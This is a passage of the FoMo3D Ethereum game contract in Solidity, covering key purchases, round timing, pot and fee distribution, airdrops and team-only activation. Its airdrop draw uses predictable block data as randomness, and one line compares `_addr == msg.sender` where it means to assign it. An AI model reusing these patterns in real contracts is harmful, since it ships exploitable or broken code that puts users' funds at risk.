| return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); | |
| else // rounds over. need price for new round | |
| return ( 75000000000000 ); // init | |
| } | |
| /** | |
| * @dev returns time left. dont spam this, you'll ddos yourself from your node | |
| * provider | |
| * -functionhash- 0xc7e284b8 | |
| * @return time left in seconds | |
| */ | |
| function getTimeLeft() | |
| public | |
| view | |
| returns(uint256) | |
| { | |
| // setup local rID | |
| uint256 _rID = rID_; | |
| // grab time | |
| uint256 _now = now; | |
| if (_now < round_[_rID].end) | |
| if (_now > round_[_rID].strt + rndGap_) | |
| return( (round_[_rID].end).sub(_now) ); | |
| else | |
| return( (round_[_rID].strt + rndGap_).sub(_now) ); | |
| else | |
| return(0); | |
| } | |
| /** | |
| * @dev returns player earnings per vaults | |
| * -functionhash- 0x63066434 | |
| * @return winnings vault | |
| * @return general vault | |
| * @return affiliate vault | |
| */ | |
| function getPlayerVaults(uint256 _pID) | |
| public | |
| view | |
| returns(uint256 ,uint256, uint256) | |
| { | |
| // setup local rID | |
| uint256 _rID = rID_; | |
| // if round has ended. but round end has not been run (so contract has not distributed winnings) | |
| if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) | |
| { | |
| // if player is winner | |
| if (round_[_rID].plyr == _pID) | |
| { | |
| return | |
| ( | |
| (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), | |
| (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), | |
| plyr_[_pID].aff | |
| ); | |
| // if player is not the winner | |
| } else { | |
| return | |
| ( | |
| plyr_[_pID].win, | |
| (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), | |
| plyr_[_pID].aff | |
| ); | |
| } | |
| // if round is still going on, or round has ended and round end has been ran | |
| } else { | |
| return | |
| ( | |
| plyr_[_pID].win, | |
| (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), | |
| plyr_[_pID].aff | |
| ); | |
| } | |
| } | |
| /** | |
| * solidity hates stack limits. this lets us avoid that hate | |
| */ | |
| function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) | |
| private | |
| view | |
| returns(uint256) | |
| { | |
| return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); | |
| } | |
| /** | |
| * @dev returns all current round info needed for front end | |
| * -functionhash- 0x747dff42 | |
| * @return eth invested during ICO phase | |
| * @return round id | |
| * @return total keys for round | |
| * @return time round ends | |
| * @return time round started | |
| * @return current pot | |
| * @return current team ID & player ID in lead | |
| * @return current player in leads address | |
| * @return current player in leads name | |
| * @return whales eth in for round | |
| * @return bears eth in for round | |
| * @return sneks eth in for round | |
| * @return bulls eth in for round | |
| * @return airdrop tracker # & airdrop pot | |
| */ | |
| function getCurrentRoundInfo() | |
| public | |
| view | |
| returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) | |
| { | |
| // setup local rID | |
| uint256 _rID = rID_; | |
| return | |
| ( | |
| round_[_rID].ico, //0 | |
| _rID, //1 | |
| round_[_rID].keys, //2 | |
| round_[_rID].end, //3 | |
| round_[_rID].strt, //4 | |
| round_[_rID].pot, //5 | |
| (round_[_rID].team + (round_[_rID].plyr * 10)), //6 | |
| plyr_[round_[_rID].plyr].addr, //7 | |
| plyr_[round_[_rID].plyr].name, //8 | |
| rndTmEth_[_rID][0], //9 | |
| rndTmEth_[_rID][1], //10 | |
| rndTmEth_[_rID][2], //11 | |
| rndTmEth_[_rID][3], //12 | |
| airDropTracker_ + (airDropPot_ * 1000) //13 | |
| ); | |
| } | |
| /** | |
| * @dev returns player info based on address. if no address is given, it will | |
| * use msg.sender | |
| * -functionhash- 0xee0b5d8b | |
| * @param _addr address of the player you want to lookup | |
| * @return player ID | |
| * @return player name | |
| * @return keys owned (current round) | |
| * @return winnings vault | |
| * @return general vault | |
| * @return affiliate vault | |
| * @return player round eth | |
| */ | |
| function getPlayerInfoByAddress(address _addr) | |
| public | |
| view | |
| returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) | |
| { | |
| // setup local rID | |
| uint256 _rID = rID_; | |
| if (_addr == address(0)) | |
| { | |
| _addr == msg.sender; | |
| } | |
| uint256 _pID = pIDxAddr_[_addr]; | |
| return | |
| ( | |
| _pID, //0 | |
| plyr_[_pID].name, //1 | |
| plyrRnds_[_pID][_rID].keys, //2 | |
| plyr_[_pID].win, //3 | |
| (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 | |
| plyr_[_pID].aff, //5 | |
| plyrRnds_[_pID][_rID].eth //6 | |
| ); | |
| } | |
| //============================================================================== | |
| // _ _ _ _ | _ _ . _ . | |
| // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) | |
| //=====================_|======================================================= | |
| /** | |
| * @dev logic runs whenever a buy order is executed. determines how to handle | |
| * incoming eth depending on if we are in an active round or not | |
| */ | |
| function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) | |
| private | |
| { | |
| // setup local rID | |
| uint256 _rID = rID_; | |
| // grab time | |
| uint256 _now = now; | |
| // if round is active | |
| if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) | |
| { | |
| // call core | |
| core(_rID, _pID, msg.value, _affID, _team, _eventData_); | |
| // if round is not active | |
| } else { | |
| // check to see if end round needs to be ran | |
| if (_now > round_[_rID].end && round_[_rID].ended == false) | |
| { | |
| // end the round (distributes pot) & start new round | |
| round_[_rID].ended = true; | |
| _eventData_ = endRound(_eventData_); | |
| // build event data | |
| _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); | |
| _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; | |
| // fire buy and distribute event | |
| emit F3Devents.onBuyAndDistribute | |
| ( | |
| msg.sender, | |
| plyr_[_pID].name, | |
| msg.value, | |
| _eventData_.compressedData, | |
| _eventData_.compressedIDs, | |
| _eventData_.winnerAddr, | |
| _eventData_.winnerName, | |
| _eventData_.amountWon, | |
| _eventData_.newPot, | |
| _eventData_.P3DAmount, | |
| _eventData_.genAmount | |
| ); | |
| } | |
| // put eth in players vault | |
| plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); | |
| } | |
| } | |
| /** | |
| * @dev logic runs whenever a reload order is executed. determines how to handle | |
| * incoming eth depending on if we are in an active round or not | |
| */ | |
| function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) | |
| private | |
| { | |
| // setup local rID | |
| uint256 _rID = rID_; | |
| // grab time | |
| uint256 _now = now; | |
| // if round is active | |
| if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) | |
| { | |
| // get earnings from all vaults and return unused to gen vault | |
| // because we use a custom safemath library. this will throw if player | |
| // tried to spend more eth than they have. | |
| plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); | |
| // call core | |
| core(_rID, _pID, _eth, _affID, _team, _eventData_); | |
| // if round is not active and end round needs to be ran | |
| } else if (_now > round_[_rID].end && round_[_rID].ended == false) { | |
| // end the round (distributes pot) & start new round | |
| round_[_rID].ended = true; | |
| _eventData_ = endRound(_eventData_); | |
| // build event data | |
| _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); | |
| _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; | |
| // fire buy and distribute event | |
| emit F3Devents.onReLoadAndDistribute | |
| ( | |
| msg.sender, | |
| plyr_[_pID].name, | |
| _eventData_.compressedData, | |
| _eventData_.compressedIDs, | |
| _eventData_.winnerAddr, | |
| _eventData_.winnerName, | |
| _eventData_.amountWon, | |
| _eventData_.newPot, | |
| _eventData_.P3DAmount, | |
| _eventData_.genAmount | |
| ); | |
| } | |
| } | |
| /** | |
| * @dev this is the core logic for any buy/reload that happens while a round | |
| * is live. | |
| */ | |
| function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) | |
| private | |
| { | |
| // if player is new to round | |
| if (plyrRnds_[_pID][_rID].keys == 0) | |
| _eventData_ = managePlayer(_pID, _eventData_); | |
| // early round eth limiter | |
| if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) | |
| { | |
| uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); | |
| uint256 _refund = _eth.sub(_availableLimit); | |
| plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); | |
| _eth = _availableLimit; | |
| } | |
| // if eth left is greater than min eth allowed (sorry no pocket lint) | |
| if (_eth > 1000000000) | |
| { | |
| // mint the new keys | |
| uint256 _keys = (round_[_rID].eth).keysRec(_eth); | |
| // if they bought at least 1 whole key | |
| if (_keys >= 1000000000000000000) | |
| { | |
| updateTimer(_keys, _rID); | |
| // set new leaders | |
| if (round_[_rID].plyr != _pID) | |
| round_[_rID].plyr = _pID; | |
| if (round_[_rID].team != _team) | |
| round_[_rID].team = _team; | |
| // set the new leader bool to true | |
| _eventData_.compressedData = _eventData_.compressedData + 100; | |
| } | |
| // manage airdrops | |
| if (_eth >= 100000000000000000) | |
| { | |
| airDropTracker_++; | |
| if (airdrop() == true) | |
| { | |
| // gib muni | |
| uint256 _prize; | |
| if (_eth >= 10000000000000000000) | |
| { | |
| // calculate prize and give it to winner | |
| _prize = ((airDropPot_).mul(75)) / 100; | |
| plyr_[_pID].win = (plyr_[_pID].win).add(_prize); | |
| // adjust airDropPot | |
| airDropPot_ = (airDropPot_).sub(_prize); | |
| // let event know a tier 3 prize was won | |
| _eventData_.compressedData += 300000000000000000000000000000000; | |
| } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { | |
| // calculate prize and give it to winner | |
| _prize = ((airDropPot_).mul(50)) / 100; | |
| plyr_[_pID].win = (plyr_[_pID].win).add(_prize); | |
| // adjust airDropPot | |
| airDropPot_ = (airDropPot_).sub(_prize); | |
| // let event know a tier 2 prize was won | |
| _eventData_.compressedData += 200000000000000000000000000000000; | |
| } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { | |
| // calculate prize and give it to winner | |
| _prize = ((airDropPot_).mul(25)) / 100; | |
| plyr_[_pID].win = (plyr_[_pID].win).add(_prize); | |
| // adjust airDropPot | |
| airDropPot_ = (airDropPot_).sub(_prize); | |
| // let event know a tier 3 prize was won | |
| _eventData_.compressedData += 300000000000000000000000000000000; | |
| } | |
| // set airdrop happened bool to true | |
| _eventData_.compressedData += 10000000000000000000000000000000; | |
| // let event know how much was won | |
| _eventData_.compressedData += _prize * 1000000000000000000000000000000000; | |
| // reset air drop tracker | |
| airDropTracker_ = 0; | |
| } | |
| } | |
| // store the air drop tracker number (number of buys since last airdrop) | |
| _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); | |
| // update player | |
| plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); | |
| plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); | |
| // update round | |
| round_[_rID].keys = _keys.add(round_[_rID].keys); | |
| round_[_rID].eth = _eth.add(round_[_rID].eth); | |
| rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); | |
| // distribute eth | |
| _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); | |
| _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); | |
| // call end tx function to fire end tx event. | |
| endTx(_pID, _team, _eth, _keys, _eventData_); | |
| } | |
| } | |
| //============================================================================== | |
| // _ _ | _ | _ _|_ _ _ _ . | |
| // (_(_||(_|_||(_| | (_)| _\ . | |
| //============================================================================== | |
| /** | |
| * @dev calculates unmasked earnings (just calculates, does not update mask) | |
| * @return earnings in wei format | |
| */ | |
| function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) | |
| private | |
| view | |
| returns(uint256) | |
| { | |
| return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); | |
| } | |
| /** | |
| * @dev returns the amount of keys you would get given an amount of eth. | |
| * -functionhash- 0xce89c80c | |
| * @param _rID round ID you want price for | |
| * @param _eth amount of eth sent in | |
| * @return keys received | |
| */ | |
| function calcKeysReceived(uint256 _rID, uint256 _eth) | |
| public | |
| view | |
| returns(uint256) | |
| { | |
| // grab time | |
| uint256 _now = now; | |
| // are we in a round? | |
| if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) | |
| return ( (round_[_rID].eth).keysRec(_eth) ); | |
| else // rounds over. need keys for new round | |
| return ( (_eth).keys() ); | |
| } | |
| /** | |
| * @dev returns current eth price for X keys. | |
| * -functionhash- 0xcf808000 | |
| * @param _keys number of keys desired (in 18 decimal format) | |
| * @return amount of eth needed to send | |
| */ | |
| function iWantXKeys(uint256 _keys) | |
| public | |
| view | |
| returns(uint256) | |
| { | |
| // setup local rID | |
| uint256 _rID = rID_; | |
| // grab time | |
| uint256 _now = now; | |
| // are we in a round? | |
| if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) | |
| return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); | |
| else // rounds over. need price for new round | |
| return ( (_keys).eth() ); | |
| } | |
| //============================================================================== | |
| // _|_ _ _ | _ . | |
| // | (_)(_)|_\ . | |
| //============================================================================== | |
| /** | |
| * @dev receives name/player info from names contract | |
| */ | |
| function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) | |
| external | |
| { | |
| require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); | |
| if (pIDxAddr_[_addr] != _pID) | |
| pIDxAddr_[_addr] = _pID; | |
| if (pIDxName_[_name] != _pID) | |
| pIDxName_[_name] = _pID; | |
| if (plyr_[_pID].addr != _addr) | |
| plyr_[_pID].addr = _addr; | |
| if (plyr_[_pID].name != _name) | |
| plyr_[_pID].name = _name; | |
| if (plyr_[_pID].laff != _laff) | |
| plyr_[_pID].laff = _laff; | |
| if (plyrNames_[_pID][_name] == false) | |
| plyrNames_[_pID][_name] = true; | |
| } | |
| /** | |
| * @dev receives entire player name list | |
| */ | |
| function receivePlayerNameList(uint256 _pID, bytes32 _name) | |
| external | |
| { | |
| require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); | |
| if(plyrNames_[_pID][_name] == false) | |
| plyrNames_[_pID][_name] = true; | |
| } | |
| /** | |
| * @dev gets existing or registers new pID. use this when a player may be new | |
| * @return pID | |
| */ | |
| function determinePID(F3Ddatasets.EventReturns memory _eventData_) | |
| private | |
| returns (F3Ddatasets.EventReturns) | |
| { | |
| uint256 _pID = pIDxAddr_[msg.sender]; | |
| // if player is new to this version of fomo3d | |
| if (_pID == 0) | |
| { | |
| // grab their player ID, name and last aff ID, from player names contract | |
| _pID = PlayerBook.getPlayerID(msg.sender); | |
| bytes32 _name = PlayerBook.getPlayerName(_pID); | |
| uint256 _laff = PlayerBook.getPlayerLAff(_pID); | |
| // set up player account | |
| pIDxAddr_[msg.sender] = _pID; | |
| plyr_[_pID].addr = msg.sender; | |
| if (_name != "") | |
| { | |
| pIDxName_[_name] = _pID; | |
| plyr_[_pID].name = _name; | |
| plyrNames_[_pID][_name] = true; | |
| } | |
| if (_laff != 0 && _laff != _pID) | |
| plyr_[_pID].laff = _laff; | |
| // set the new player bool to true | |
| _eventData_.compressedData = _eventData_.compressedData + 1; | |
| } | |
| return (_eventData_); | |
| } | |
| /** | |
| * @dev checks to make sure user picked a valid team. if not sets team | |
| * to default (sneks) | |
| */ | |
| function verifyTeam(uint256 _team) | |
| private | |
| pure | |
| returns (uint256) | |
| { | |
| if (_team < 0 || _team > 3) | |
| return(2); | |
| else | |
| return(_team); | |
| } | |
| /** | |
| * @dev decides if round end needs to be run & new round started. and if | |
| * player unmasked earnings from previously played rounds need to be moved. | |
| */ | |
| function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) | |
| private | |
| returns (F3Ddatasets.EventReturns) | |
| { | |
| // if player has played a previous round, move their unmasked earnings | |
| // from that round to gen vault. | |
| if (plyr_[_pID].lrnd != 0) | |
| updateGenVault(_pID, plyr_[_pID].lrnd); | |
| // update player's last round played | |
| plyr_[_pID].lrnd = rID_; | |
| // set the joined round bool to true | |
| _eventData_.compressedData = _eventData_.compressedData + 10; | |
| return(_eventData_); | |
| } | |
| /** | |
| * @dev ends the round. manages paying out winner/splitting up pot | |
| */ | |
| function endRound(F3Ddatasets.EventReturns memory _eventData_) | |
| private | |
| returns (F3Ddatasets.EventReturns) | |
| { | |
| // setup local rID | |
| uint256 _rID = rID_; | |
| // grab our winning player and team id's | |
| uint256 _winPID = round_[_rID].plyr; | |
| uint256 _winTID = round_[_rID].team; | |
| // grab our pot amount | |
| uint256 _pot = round_[_rID].pot; | |
| // calculate our winner share, community rewards, gen share, | |
| // p3d share, and amount reserved for next pot | |
| uint256 _win = (_pot.mul(48)) / 100; | |
| uint256 _com = (_pot / 50); | |
| uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; | |
| uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; | |
| uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); | |
| // calculate ppt for round mask | |
| uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); | |
| uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); | |
| if (_dust > 0) | |
| { | |
| _gen = _gen.sub(_dust); | |
| _res = _res.add(_dust); | |
| } | |
| // pay our winner | |
| plyr_[_winPID].win = _win.add(plyr_[_winPID].win); | |
| // community rewards | |
| if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()")))) | |
| { | |
| // This ensures Team Just cannot influence the outcome of FoMo3D with | |
| // bank migrations by breaking outgoing transactions. | |
| // Something we would never do. But that's not the point. | |
| // We spent 2000$ in eth re-deploying just to patch this, we hold the | |
| // highest belief that everything we create should be trustless. | |
| // Team JUST, The name you shouldn't have to trust. | |
| _p3d = _p3d.add(_com); | |
| _com = 0; | |
| } | |
| // distribute gen portion to key holders | |
| round_[_rID].mask = _ppt.add(round_[_rID].mask); | |
| // send share for p3d to divies | |
| if (_p3d > 0) | |
| Divies.deposit.value(_p3d)(); | |
| // prepare event data | |
| _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); | |
| _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); | |
| _eventData_.winnerAddr = plyr_[_winPID].addr; | |
| _eventData_.winnerName = plyr_[_winPID].name; | |
| _eventData_.amountWon = _win; | |
| _eventData_.genAmount = _gen; | |
| _eventData_.P3DAmount = _p3d; | |
| _eventData_.newPot = _res; | |
| // start next round | |
| rID_++; | |
| _rID++; | |
| round_[_rID].strt = now; | |
| round_[_rID].end = now.add(rndInit_).add(rndGap_); | |
| round_[_rID].pot = _res; | |
| return(_eventData_); | |
| } | |
| /** | |
| * @dev moves any unmasked earnings to gen vault. updates earnings mask | |
| */ | |
| function updateGenVault(uint256 _pID, uint256 _rIDlast) | |
| private | |
| { | |
| uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); | |
| if (_earnings > 0) | |
| { | |
| // put in gen vault | |
| plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); | |
| // zero out their earnings by updating mask | |
| plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); | |
| } | |
| } | |
| /** | |
| * @dev updates round timer based on number of whole keys bought. | |
| */ | |
| function updateTimer(uint256 _keys, uint256 _rID) | |
| private | |
| { | |
| // grab time | |
| uint256 _now = now; | |
| // calculate time based on number of keys bought | |
| uint256 _newTime; | |
| if (_now > round_[_rID].end && round_[_rID].plyr == 0) | |
| _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); | |
| else | |
| _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); | |
| // compare to max and set new end time | |
| if (_newTime < (rndMax_).add(_now)) | |
| round_[_rID].end = _newTime; | |
| else | |
| round_[_rID].end = rndMax_.add(_now); | |
| } | |
| /** | |
| * @dev generates a random number between 0-99 and checks to see if thats | |
| * resulted in an airdrop win | |
| * @return do we have a winner? | |
| */ | |
| function airdrop() | |
| private | |
| view | |
| returns(bool) | |
| { | |
| uint256 seed = uint256(keccak256(abi.encodePacked( | |
| (block.timestamp).add | |
| (block.difficulty).add | |
| ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add | |
| (block.gaslimit).add | |
| ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add | |
| (block.number) | |
| ))); | |
| if((seed - ((seed / 1000) * 1000)) < airDropTracker_) | |
| return(true); | |
| else | |
| return(false); | |
| } | |
| /** | |
| * @dev distributes eth based on fees to com, aff, and p3d | |
| */ | |
| function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) | |
| private | |
| returns(F3Ddatasets.EventReturns) | |
| { | |
| // pay 2% out to community rewards | |
| uint256 _com = _eth / 50; | |
| uint256 _p3d; | |
| if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()")))) | |
| { | |
| // This ensures Team Just cannot influence the outcome of FoMo3D with | |
| // bank migrations by breaking outgoing transactions. | |
| // Something we would never do. But that's not the point. | |
| // We spent 2000$ in eth re-deploying just to patch this, we hold the | |
| // highest belief that everything we create should be trustless. | |
| // Team JUST, The name you shouldn't have to trust. | |
| _p3d = _com; | |
| _com = 0; | |
| } | |
| // pay 1% out to FoMo3D short | |
| uint256 _long = _eth / 100; | |
| otherF3D_.potSwap.value(_long)(); | |
| // distribute share to affiliate | |
| uint256 _aff = _eth / 10; | |
| // decide what to do with affiliate share of fees | |
| // affiliate must not be self, and must have a name registered | |
| if (_affID != _pID && plyr_[_affID].name != '') { | |
| plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); | |
| emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); | |
| } else { | |
| _p3d = _aff; | |
| } | |
| // pay out p3d | |
| _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); | |
| if (_p3d > 0) | |
| { | |
| // deposit to divies contract | |
| Divies.deposit.value(_p3d)(); | |
| // set up event data | |
| _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); | |
| } | |
| return(_eventData_); | |
| } | |
| function potSwap() | |
| external | |
| payable | |
| { | |
| // setup local rID | |
| uint256 _rID = rID_ + 1; | |
| round_[_rID].pot = round_[_rID].pot.add(msg.value); | |
| emit F3Devents.onPotSwapDeposit(_rID, msg.value); | |
| } | |
| /** | |
| * @dev distributes eth based on fees to gen and pot | |
| */ | |
| function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) | |
| private | |
| returns(F3Ddatasets.EventReturns) | |
| { | |
| // calculate gen share | |
| uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; | |
| // toss 1% into airdrop pot | |
| uint256 _air = (_eth / 100); | |
| airDropPot_ = airDropPot_.add(_air); | |
| // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) | |
| _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); | |
| // calculate pot | |
| uint256 _pot = _eth.sub(_gen); | |
| // distribute gen share (thats what updateMasks() does) and adjust | |
| // balances for dust. | |
| uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); | |
| if (_dust > 0) | |
| _gen = _gen.sub(_dust); | |
| // add eth to pot | |
| round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); | |
| // set up event data | |
| _eventData_.genAmount = _gen.add(_eventData_.genAmount); | |
| _eventData_.potAmount = _pot; | |
| return(_eventData_); | |
| } | |
| /** | |
| * @dev updates masks for round and player when keys are bought | |
| * @return dust left over | |
| */ | |
| function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) | |
| private | |
| returns(uint256) | |
| { | |
| /* MASKING NOTES | |
| earnings masks are a tricky thing for people to wrap their minds around. | |
| the basic thing to understand here. is were going to have a global | |
| tracker based on profit per share for each round, that increases in | |
| relevant proportion to the increase in share supply. | |
| the player will have an additional mask that basically says "based | |
| on the rounds mask, my shares, and how much i've already withdrawn, | |
| how much is still owed to me?" | |
| */ | |
| // calc profit per key & round mask based on this buy: (dust goes to pot) | |
| uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); | |
| round_[_rID].mask = _ppt.add(round_[_rID].mask); | |
| // calculate player earning from their own buy (only based on the keys | |
| // they just bought). & update player earnings mask | |
| uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); | |
| plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); | |
| // calculate & return dust | |
| return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); | |
| } | |
| /** | |
| * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 | |
| * @return earnings in wei format | |
| */ | |
| function withdrawEarnings(uint256 _pID) | |
| private | |
| returns(uint256) | |
| { | |
| // update gen vault | |
| updateGenVault(_pID, plyr_[_pID].lrnd); | |
| // from vaults | |
| uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); | |
| if (_earnings > 0) | |
| { | |
| plyr_[_pID].win = 0; | |
| plyr_[_pID].gen = 0; | |
| plyr_[_pID].aff = 0; | |
| } | |
| return(_earnings); | |
| } | |
| /** | |
| * @dev prepares compression data and fires event for buy or reload tx's | |
| */ | |
| function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) | |
| private | |
| { | |
| _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); | |
| _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); | |
| emit F3Devents.onEndTx | |
| ( | |
| _eventData_.compressedData, | |
| _eventData_.compressedIDs, | |
| plyr_[_pID].name, | |
| msg.sender, | |
| _eth, | |
| _keys, | |
| _eventData_.winnerAddr, | |
| _eventData_.winnerName, | |
| _eventData_.amountWon, | |
| _eventData_.newPot, | |
| _eventData_.P3DAmount, | |
| _eventData_.genAmount, | |
| _eventData_.potAmount, | |
| airDropPot_ | |
| ); | |
| } | |
| //============================================================================== | |
| // (~ _ _ _._|_ . | |
| // _)(/_(_|_|| | | \/ . | |
| //====================/========================================================= | |
| /** upon contract deploy, it will be deactivated. this is a one time | |
| * use function that will activate the contract. we do this so devs | |
| * have time to set things up on the web end **/ | |
| bool public activated_ = false; | |
| function activate() | |
| public | |
| { | |
| // only team just can activate | |
| require( | |
| msg.sender == 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C || | |
| msg.sender == 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D || | |
| msg.sender == 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53 || | |
| msg.sender == 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C || | |
| msg.sender == 0xF39e044e1AB204460e06E87c6dca2c6319fC69E3, | |
| "only team just can activate" | |
| ); | |
| // make sure that its been linked. | |
| require(address(otherF3D_) != address(0), "must link to other FoMo3D first"); | |
| // can only be ran once | |
| require(activated_ == false, "fomo3d already activated"); | |
| // activate the contract | |
| activated_ = true; | |
| // lets start first round | |
| rID_ = 1; | |
| round_[1].strt = now + rndExtra_ - rndGap_; | |
| round_[1].end = now + rndInit_ + rndExtra_; | |
| } | |
| function setOtherFomo(address _otherF3D) | |
| public | |
| { | |
| // only team just can activate | |
| require( | |
| msg.sender == 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C || | |
| msg.sender == 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D || | |
| msg.sender == 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53 || | |
| msg.sender == 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C || | |
| msg.sender == 0xF39e044e1AB204460e06E87c6dca2c6319fC69E3, | |
| "only team just can activate" | |
| ); | |
| // make sure that it HASNT yet been linked. | |
| require(address(otherF3D_) == address(0), "silly dev, you already did that"); | |
| // set up other fomo3d (fast or long) for pot swap | |
| otherF3D_ = otherFoMo3D(_otherF3D); | |
| } | |
| } | |
| //============================================================================== | |
| // __|_ _ __|_ _ . | |
| // _\ | | |_|(_ | _\ . | |
| //============================================================================== | |
| library F3Ddatasets { | |
| //compressedData key | |
| // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] | |
| // 0 - new player (bool) | |
| // 1 - joined round (bool) | |
| // 2 - new leader (bool) | |
